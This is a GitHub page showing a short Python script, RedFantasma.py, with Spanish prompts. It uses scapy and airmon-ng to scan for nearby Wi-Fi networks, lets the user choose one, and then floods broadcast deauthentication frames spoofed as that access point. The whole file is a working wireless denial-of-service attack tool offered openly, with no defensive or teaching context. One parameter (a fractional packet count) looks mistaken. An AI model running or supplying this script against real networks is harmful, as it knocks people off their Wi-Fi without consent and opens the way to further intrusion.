-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRedFantasma.py
50 lines (40 loc) · 1.58 KB
/
RedFantasma.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from scapy.all import *
import os
import sys
import time
os.system("clear")
os.system("neofetch")
print("Cargando info de sistema")
time.sleep(5)
def scan_networks(interface):
os.system("clear")
print("Escaneando redes por 30 segundos >", interface)
networks = []
def packet_handler(packet):
if packet.haslayer(Dot11Beacon):
ssid = packet[Dot11Elt].info.decode()
bssid = packet[Dot11].addr2
if bssid not in [net[1] for net in networks]:
networks.append((ssid, bssid))
print(f"{len(networks)}. {ssid} ({bssid})")
sniff(iface=interface, prn=packet_handler, timeout=30)
return networks
def select_network(networks):
network_number = int(input("Seleccione una red por el número: ")) - 1
ssid, bssid = networks[network_number]
print(f"SSID seleccionado: {ssid}")
print(f"BSSID seleccionado: {bssid}")
return ssid, bssid
def deauth_attack(interface, bssid):
print(f"Realizando ataque de desautenticación en {bssid}...")
pkt = RadioTap()/Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid)/Dot11Deauth()
sendp(pkt, iface=interface, count=0.1, inter=0.1)
if __name__ == "__main__":
interface = input("Ingrese la interfaz de red (por ejemplo, wlan0): ")
os.system(f"airmon-ng start {interface}")
monitor_interface = f"{interface}mon"
networks = scan_networks(monitor_interface)
ssid, bssid = select_network(networks)
deauth_attack(monitor_interface, bssid)
os.system(f"airmon-ng stop {monitor_interface}")
print("Saliendo de modo monitor")